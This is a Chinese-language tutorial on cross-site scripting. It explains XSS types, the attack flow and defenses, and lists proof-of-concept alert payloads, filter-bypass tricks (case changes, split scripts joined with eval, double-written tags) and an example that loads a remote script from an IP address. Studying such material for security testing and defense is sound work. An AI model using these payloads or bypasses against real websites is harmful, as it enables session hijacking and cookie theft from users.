一、介紹
XSS(Cross-site Scripting,跨站腳本攻擊),Owasp Top 10 2017中排名第7,主要基于JS完成惡意攻擊行為,
原因:通過將精心構造的代碼注入網頁中,并由瀏覽器運行這段代碼,達到攻擊效果,XSS攻擊的物件是用戶和用戶的瀏覽器(前端攻擊),
主要原因是沒有對攻擊者的輸入進行嚴格的過濾,微博、留言板、聊天室等收集用戶資訊的地方都有可能被注入XSS代碼,該漏洞存在于服務器中,但是執行環境在客戶端瀏覽器,屬于被動攻擊,
主要危害:盜取用戶賬號;竊取cookie資料,冒充用戶身份進入網站;劫持用戶會話,執行任意操作;刷流量,彈窗廣告;傳播蠕蟲病毒等,
主要的角色:攻擊者、瀏覽器(與瀏覽器型別、不同版本有關)、受害者(用戶),
1.攻擊者將惡意代碼注入到服務器,用戶訪問該服務器網頁,
2.服務器將含有惡意代碼的網頁回應給客戶端,
3.在客戶端觸發惡意JS代碼并執行,
4.用戶被攻擊,
Poc:XSS的漏洞用一段代碼,驗證漏洞的存在,這樣的代碼叫Poc(Proof of concept概念驗證),
EXP:漏洞的完整利用工具,
shellcode:利用漏洞時執行的代碼,
payload:攻擊載荷,在sqlmap里是攻擊模板;msf里邊同shellcode,建立與目標的連接,
二、驗證漏洞存在的Poc
<script>alert(/xss/)</script> 彈窗(常用)
<script>confirm('xss')</script> 彈出確認框
<script>prompt('xss')</script> 彈出輸入框
當在瀏覽器上輸入以上內容后,如果有相應的彈窗,代表瀏覽器可決議代碼,即存在XSS漏洞,于是便可以提交任意惡意JS代碼,
三、XSS漏洞分類
1.反射型XSS
代碼存在于web應用的引數(變數)當中,多發于搜索框,
2.儲存型XSS
代碼寫進資料庫或檔案等可以永久保存的介質中,可持久攻擊(每次點開頁面就執行),多發于留言板,
3.DOM型XSS
修改受害者瀏覽器頁面的DOM樹而執行(只要修改DOM樹,瀏覽器就會重新渲染頁面),并不會傳到服務器上,只在瀏覽器上執行,因此比較難以檢測,
四、XSS構造
1.利用<>構造HTML標簽/<script>標簽,
2.偽協議
javascript: +js代碼
3.產生自己的事件
事件:如滑鼠移動、鍵盤輸入等;JS可對這些事件進行回應,通過事件觸發代碼,
windows 事件 對windows物件
Form事件 HTML表單內的動作
keyboard事件 鍵盤按鍵
Mouse事件 滑鼠或類似動作
Media事件 多媒體觸發的事件
五、XSS變形(繞過過濾)
1.大小寫轉換,
2.引號的使用,應對某些過濾函式,
3.左斜線(/)代替空格,
4.利用Tab或回車符,把一行隔斷開,
5.對標簽屬性值進行編碼,
6.拆分跨站,
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
以上上三代碼在執行時合并成一行,即:<script>alert(/xss/)</script>
7.雙寫繞過,
<scr<script> ipt>
六、XSS防御
1.使用XSS Filter(XSS過濾器),過濾客戶端提交的有害資訊,
(1)輸入過濾:
輸入是否僅包含合法字符,
輸入字串是否超過最大長度限制,
輸入如果為數字,數字是否在指定的范圍,
輸入是否符合特殊的格式要求,如E-mail地址、IP地址等,
(2)輸出編碼
(3)黑白名單
七、遠程呼叫shellcode
將JS代碼單獨存放在一個JS檔案中(可以是互聯網上任意一臺主機地址),然后通過http協議遠程加載該腳本,
例:<script src="http://172.168.111.132/XSS-text/XSS.js"></script>
八、終極代碼:測驗所有的過濾
<script script " 'OOnn>
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299472.html
標籤:其他
下一篇:密碼重置漏洞
